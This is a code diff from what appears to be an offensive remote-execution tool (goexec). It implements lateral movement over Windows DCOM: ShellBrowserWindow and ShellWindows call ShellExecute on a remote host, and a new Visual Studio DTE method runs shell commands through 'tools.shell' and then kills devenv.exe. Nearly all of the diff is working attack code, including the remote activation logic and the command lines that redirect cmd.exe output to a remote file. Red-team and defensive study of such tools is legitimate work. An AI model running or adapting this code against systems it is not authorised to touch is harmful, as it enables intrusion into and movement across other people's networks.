"github.com/oiweiwei/go-msrpc/msrpc/dtyp"
"github.com/rs/zerolog"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
)
@@ -26,14 +23,11 @@ type Dcom struct {
goexec.Cleaner
goexec.Executor
Client *dce.Client
ClassID *uuid.UUID
dispatchClient idispatch.DispatchClient
Client *dce.Client
comVersion *dcom.COMVersion
}
func (m *Dcom) Connect(ctx context.Context) (err error) {
if err = m.Client.Connect(ctx); err == nil {
m.AddCleaners(m.Client.Close)
}
@@ -41,107 +35,25 @@ func (m *Dcom) Connect(ctx context.Context) (err error) {
}
func (m *Dcom) Init(ctx context.Context) (err error) {
log := zerolog.Ctx(ctx).With().
Str("module", ModuleName).Logger()
if m.Client == nil || m.Client.Dce() == nil {
return errors.New("DCE connection not initialized")
}
if m.ClassID == nil {
return errors.New("CLSID not specified")
}
class := dcom.ClassID(*dtyp.GUIDFromUUID(m.ClassID))
if class.GUID() == nil {
return fmt.Errorf("invalid class ID: %s", m.ClassID)
}
opts := []dcerpc.Option{
dcerpc.WithSign(),
}
inst := &dcom.InstantiationInfoData{
ClassID: &class,
IID: []*dcom.IID{IDispatchIID},
ClientCOMVersion: ComVersion,
}
ac := &dcom.ActivationContextInfoData{}
loc := &dcom.LocationInfoData{}
scm := &dcom.SCMRequestInfoData{
RemoteRequest: &dcom.CustomRemoteRequestSCMInfo{
RequestedProtocolSequences: []uint16{7},
},
}
ap := &dcom.ActivationProperties{
DestinationContext: 2,
Properties: []dcom.ActivationProperty{inst, ac, loc, scm},
}
apin, err := ap.ActivationPropertiesIn()
if err != nil {
return err
}
act, err := iremotescmactivator.NewRemoteSCMActivatorClient(ctx, m.Client.Dce())
if err != nil {
return err
}
cr, err := act.RemoteCreateInstance(ctx, &iremotescmactivator.RemoteCreateInstanceRequest{
ORPCThis: &dcom.ORPCThis{
Version: ComVersion,
Flags: 1,
CID: &RandCid,
},
ActPropertiesIn: apin,
})
if err != nil {
return err
}
log.Info().Msg("RemoteCreateInstance succeeded")
apout := new(dcom.ActivationProperties)
if err = apout.Parse(cr.ActPropertiesOut); err != nil {
return err
}
si := apout.SCMReplyInfoData()
pi := apout.PropertiesOutInfo()
if si == nil {
return fmt.Errorf("remote create instance response: SCMReplyInfoData is nil")
}
if pi == nil {
return fmt.Errorf("remote create instance response: PropertiesOutInfo is nil")
}
// Ensure that the string bindings don't contain the target hostname
for _, bind := range si.RemoteReply.OXIDBindings.GetStringBindings() {
stringBinding, err := dcerpc.ParseStringBinding("ncacn_ip_tcp:" + bind.NetworkAddr) // TODO: try bind.String()
if m.comVersion = contextComVersion(ctx); m.comVersion == nil {
m.comVersion, err = getComVersion(ctx, m.Client.Dce())
if err != nil {
log.Debug().Err(err).Msg("Failed to parse string binding")
continue
return fmt.Errorf("get COM version: %w", err)
}
stringBinding.NetworkAddress = ""
opts = append(opts, dcerpc.WithEndpoint(stringBinding.String()))
}
err = m.Client.Reconnect(ctx, opts...)
if err != nil {
return err
}
log.Info().Msg("created new DCERPC dialer")
m.dispatchClient, err = idispatch.NewDispatchClient(ctx, m.Client.Dce(), dcom.WithIPID(pi.InterfaceData[0].IPID()))
if err != nil {
return err
}
log.Info().Msg("created IDispatch Client")
return
}
func (m *Dcom) bindInstance(ctx context.Context, cls *uuid.UUID, iid *dcom.IID) (opts []dcerpc.Option, err error) {
if mt := contextCreateInstanceMethod(ctx); mt == OptRemoteCreateInstance {
opts, err = m.remoteCreateInstance(ctx, m.Client.Dce(), cls, iid)
} else if mt == OptRemoteActivation {
opts, err = m.remoteActivation(ctx, m.Client.Dce(), cls, iid)
} else {
return nil, fmt.Errorf("invalid create instance method: %s", mt)
}
if err != nil {
return nil, fmt.Errorf("create instance: %w", err)
}
return opts, m.Client.Reconnect(ctx, opts...)
}
+20 -20
View File
@@ -3,50 +3,50 @@ package dcomexec
import (
"context"
"fmt"
"github.com/FalconOpsLLC/goexec/pkg/goexec"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/rs/zerolog"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
)
const (
MethodShellBrowserWindow = "ShellBrowserWindow" // ShellBrowserWindow::Document.Application.ShellExecute
ShellBrowserWindowUuid = "C08AFD90-F2A1-11D1-8455-00A0C91F3880"
)
type DcomShellBrowserWindow struct {
Dcom
IO goexec.ExecutionIO
Dispatch
WorkingDirectory string
WindowState string
}
// Init will initialize the ShellBrowserWindow instance
func (m *DcomShellBrowserWindow) Init(ctx context.Context) (err error) {
if err = m.Dcom.Init(ctx); err == nil {
return m.getDispatch(ctx, uuid.MustParse(ShellBrowserWindowUuid))
}
return
}
// Execute will perform command execution via the ShellBrowserWindow object. See https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
func (m *DcomShellBrowserWindow) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
log := zerolog.Ctx(ctx).With().
Str("module", ModuleName).
Str("method", MethodShellBrowserWindow).
Logger()
method := "Document.Application.ShellExecute"
cmdline := execIO.CommandLine()
proc := cmdline[0]
args := cmdline[1]
// Arguments must be passed in reverse order
if _, err := callComMethod(ctx, m.dispatchClient,
nil,
method,
if _, err := m.callComMethod(ctx, nil, method,
stringToVariant(m.WindowState),
stringToVariant(""), // FUTURE?
stringToVariant(m.WorkingDirectory),
stringToVariant(args),
stringToVariant(proc)); err != nil {
stringToVariant(cmdline[1]),
stringToVariant(cmdline[0])); err != nil {
log.Error().Err(err).Msg("Failed to call method")
return fmt.Errorf("call %q: %w", method, err)
}
log.Info().Msg("Method call successful")
zerolog.Ctx(ctx).Info().Msg("Method call successful")
return
}
+22 -30
View File
@@ -4,68 +4,60 @@ import (
"context"
"errors"
"fmt"
"github.com/FalconOpsLLC/goexec/pkg/goexec"
"github.com/oiweiwei/go-msrpc/midl/uuid"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut"
"github.com/rs/zerolog"
"github.com/rs/zerolog/log"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
)
const (
MethodShellWindows = "ShellWindows" // ShellWindows::Item().Document.Application.ShellExecute
ShellWindowsUuid = "9BA05972-F6A8-11CF-A442-00A0C90A8F39"
)
type DcomShellWindows struct {
Dcom
IO goexec.ExecutionIO
Dispatch
WorkingDirectory string
WindowState string
}
// Init will initialize the ShellWindows instance
func (m *DcomShellWindows) Init(ctx context.Context) (err error) {
if err = m.Dcom.Init(ctx); err == nil {
return m.getDispatch(ctx, uuid.MustParse(ShellWindowsUuid))
}
return
}
// Execute will perform command execution via the ShellWindows object. See https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
func (m *DcomShellWindows) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
log := zerolog.Ctx(ctx).With().
Str("module", ModuleName).
Str("method", MethodShellWindows).
Logger()
method := "Item"
cmdline := execIO.CommandLine()
proc := cmdline[0]
args := cmdline[1]
iv, err := callComMethod(ctx,
m.dispatchClient,
nil,
"Item")
iv, err := m.callComMethod(ctx, nil, "Item")
if err != nil {
log.Error().Err(err).Msg("Failed to call method")
return fmt.Errorf("call method %q: %w", method, err)
}
item, ok := iv.VarResult.VarUnion.GetValue().(*oaut.Dispatch)
if !ok {
return errors.New("failed to get dispatch from ShellWindows::Item()")
}
method = "Document.Application.ShellExecute"
cmdline := execIO.CommandLine()
// Arguments must be passed in reverse order
if _, err := callComMethod(ctx, m.dispatchClient,
item.InterfacePointer().
GetStandardObjectReference().
Std.IPID,
method,
if _, err := m.callComMethod(ctx, item.InterfacePointer().GetStandardObjectReference().Std.IPID, method,
stringToVariant(m.WindowState),
stringToVariant(""), // FUTURE?
stringToVariant(m.WorkingDirectory),
stringToVariant(args),
stringToVariant(proc)); err != nil {
log.Error().Err(err).Msg("Failed to call method")
stringToVariant(cmdline[1]),
stringToVariant(cmdline[0])); err != nil {
return fmt.Errorf("call %q: %w", method, err)
}
log.Info().Msg("Method call successful")
+22 -51
View File
@@ -2,74 +2,45 @@ package dcomexec
import (
"context"
"fmt"
"github.com/oiweiwei/go-msrpc/dcerpc"
"github.com/oiweiwei/go-msrpc/msrpc/dcom"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/iobjectexporter/v0"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut"
"github.com/oiweiwei/go-msrpc/msrpc/dcom/oaut/idispatch/v0"
"strings"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
)
func callComMethod(ctx context.Context, dc idispatch.DispatchClient, id *dcom.IPID, method string, args ...*oaut.Variant) (ir *idispatch.InvokeResponse, err error) {
parts := strings.Split(method, ".")
for i, obj := range parts {
var opts []dcerpc.CallOption
if id != nil {
opts = append(opts, dcom.WithIPID(id))
}
gr, err := dc.GetIDsOfNames(ctx, &idispatch.GetIDsOfNamesRequest{
This: ORPCThis,
IID: &dcom.IID{},
LocaleID: LcEnglishUs,
Names: []string{obj + "\x00"},
}, opts...)
// getComVersion uses IObjectExporter.ServerAlive2() to determine the COM version of the server.
// If a COM version can be determined from the context, then IObjectExporter.ServerAlive2 will not be called
func getComVersion(ctx context.Context, cc dcerpc.Conn) (ver *dcom.COMVersion, err error) {
cv := contextComVersion(ctx)
if cv == nil {
oe, err := iobjectexporter.NewObjectExporterClient(ctx, cc)
if err != nil {
return nil, fmt.Errorf("get dispatch ID of name %q: %w", obj, err)
return nil, err
}
if len(gr.DispatchID) < 1 {
return nil, fmt.Errorf("dispatch ID of name %q not found", obj)
}
irq := &idispatch.InvokeRequest{
This: ORPCThis,
IID: &dcom.IID{},
LocaleID: LcEnglishUs,
DispatchIDMember: gr.DispatchID[0],
}
if i >= len(parts)-1 {
irq.Flags = 1
irq.DispatchParams = &oaut.DispatchParams{ArgsCount: uint32(len(args)), Args: args}
return dc.Invoke(ctx, irq, opts...)
}
irq.Flags = 2
ir, err = dc.Invoke(ctx, irq, opts...)
srv, err := oe.ServerAlive2(ctx, &iobjectexporter.ServerAlive2Request{})
if err != nil {
return nil, fmt.Errorf("get properties of object %q: %w", obj, err)
return nil, err
}
return srv.COMVersion, nil
}
return cv, nil
}
di, ok := ir.VarResult.VarUnion.GetValue().(*oaut.Dispatch)
if !ok {
return nil, fmt.Errorf("invalid dispatch object for %q", obj)
// normalizeStringBindings removes the address/hostname from string bindings to prevent name resolution issues.
func normalizeStringBindings(bindings []*dcom.StringBinding) (opts []dcerpc.Option) {
for _, b := range bindings {
if s, err := dcerpc.ParseStringBinding(b.String()); err == nil {
s.NetworkAddress = ""
opts = append(opts, dcerpc.WithEndpoint(s.String()))
}
id = di.InterfacePointer().GetStandardObjectReference().Std.IPID
}
return
}
// stringToVariant converts a string to a *oaut.Variant.
func stringToVariant(s string) *oaut.Variant {
return &oaut.Variant{
Size: 5,
+69
View File
@@ -0,0 +1,69 @@
package dcomexec
import "github.com/rs/zerolog"
/*
See https://learn.microsoft.com/en-us/dotnet/api/envdte._dte.executecommand
*/
import (
"context"
"github.com/FalconOpsLLC/goexec/pkg/goexec"
"github.com/oiweiwei/go-msrpc/midl/uuid"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus"
_ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32"
)
const (
MethodVisualStudioDTE = "VisualStudio.DTE:ExecuteCommand"
VisualStudioDteUuid = "33ABD590-0400-4FEF-AF98-5F5A8A99CFC3"
VisualStudioDte2019Uuid = "2E1517DA-87BF-4443-984A-D2BF18F5A908"
)
type DcomVisualStudioDte struct {
Dispatch
// Is2019 indicates that the installation is Visual Studio 2019
Is2019 bool
// CommandName is the name of the DTE command to invoke
CommandName string
// CommandArgs are the arguments to pass to the command
CommandArgs string
}
func (m *DcomVisualStudioDte) Init(ctx context.Context) (err error) {
if err = m.Dcom.Init(ctx); err == nil {
if m.Is2019 {
return m.getDispatch(ctx, uuid.MustParse(VisualStudioDte2019Uuid))
}
return m.getDispatch(ctx, uuid.MustParse(VisualStudioDteUuid))
}
return
}
func (m *DcomVisualStudioDte) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) {
log := zerolog.Ctx(ctx)
dteCmd := m.CommandName
dteArgs := m.CommandArgs
if dteCmd == "" {
dteCmd = "tools.shell"
dteArgs = execIO.String()
}
defer func() {
// Terminate devenv.exe
q, err := m.callComMethod(ctx, nil, "Quit")
if err != nil {
log.Warn().Err(err).Msg("Call to Quit() failed")
return
}
zerolog.Ctx(ctx).Info().Int32("return", q.Return).Msg("Quit called")
}()
log.Info().Str("command", dteCmd).Str("args", dteArgs).Msg("Executing DTE command")
ir, err := m.callComMethod(ctx, nil, "ExecuteCommand", stringToVariant(dteArgs), stringToVariant(dteCmd))
if err == nil {
log.Info().Int32("return", ir.Return).Msg("ExecuteCommand called")
}
return
}
+34 -34
View File
@@ -9,15 +9,15 @@ import (
)
type OutputProvider interface {
GetOutput(ctx context.Context, writer io.Writer) (err error)
Clean(ctx context.Context) (err error)
GetOutput(ctx context.Context, writer io.Writer) (err error)
Clean(ctx context.Context) (err error)
}
type ExecutionIO struct {
Cleaner
Cleaner
Input *ExecutionInput
Output *ExecutionOutput
Input *ExecutionInput
Output *ExecutionOutput
}
type ExecutionOutput struct {
@@ -29,11 +29,11 @@ type ExecutionOutput struct {
}
type ExecutionInput struct {
StageFile io.ReadCloser
Executable string
ExecutablePath string
Arguments string
Command string
StageFile io.ReadCloser
Executable string
ExecutablePath string
Arguments string
Command string
}
func (execIO *ExecutionIO) GetOutput(ctx context.Context) (err error) {
@@ -45,31 +45,31 @@ func (execIO *ExecutionIO) GetOutput(ctx context.Context) (err error) {
}
func (execIO *ExecutionIO) Clean(ctx context.Context) (err error) {
if execIO.Output.Provider != nil {
return execIO.Output.Provider.Clean(ctx)
}
return nil
if execIO.Output.Provider != nil {
return execIO.Output.Provider.Clean(ctx)
}
return nil
}
func (execIO *ExecutionIO) CommandLine() (cmd []string) {
if execIO.Output.Provider != nil && execIO.Output.RemotePath != "" {
return []string{
`C:\Windows\System32\cmd.exe`,
fmt.Sprintf(`/C %s > %s 2>&1`, execIO.Input.String(), execIO.Output.RemotePath),
}
}
return execIO.Input.CommandLine()
if execIO.Output.Provider != nil && execIO.Output.RemotePath != "" {
return []string{
`C:\Windows\System32\cmd.exe`,
fmt.Sprintf(`/C%s >%s 2>&1`, execIO.Input.String(), execIO.Output.RemotePath),
}
}
return execIO.Input.CommandLine()
}
func (execIO *ExecutionIO) String() (str string) {
cmd := execIO.CommandLine()
// Ensure that executable paths are quoted
if strings.Contains(cmd[0], " ") {
str = fmt.Sprintf(`%q %s`, cmd[0], strings.Join(cmd[1:], " "))
} else {
str = strings.Join(cmd, " ")
}
return strings.Trim(str, " \t\n\r") // trim whitespace
cmd := execIO.CommandLine()
// Ensure that executable paths are quoted
if strings.Contains(cmd[0], " ") {
str = fmt.Sprintf(`%q %s`, cmd[0], strings.Join(cmd[1:], " "))
} else {
str = strings.Join(cmd, " ")
}
return strings.TrimSpace(str) // trim whitespace
}
func (i *ExecutionInput) CommandLine() (cmd []string) {
@@ -89,12 +89,12 @@ func (i *ExecutionInput) CommandLine() (cmd []string) {
}
func (i *ExecutionInput) String() string {
return strings.Join(i.CommandLine(), " ")
return strings.TrimSpace(strings.Join(i.CommandLine(), " "))
}
func (i *ExecutionInput) Reader() (reader io.Reader) {
if i.StageFile != nil {
return i.StageFile
}
return strings.NewReader(i.String())
if i.StageFile != nil {
return i.StageFile
}
return strings.NewReader(i.String())
}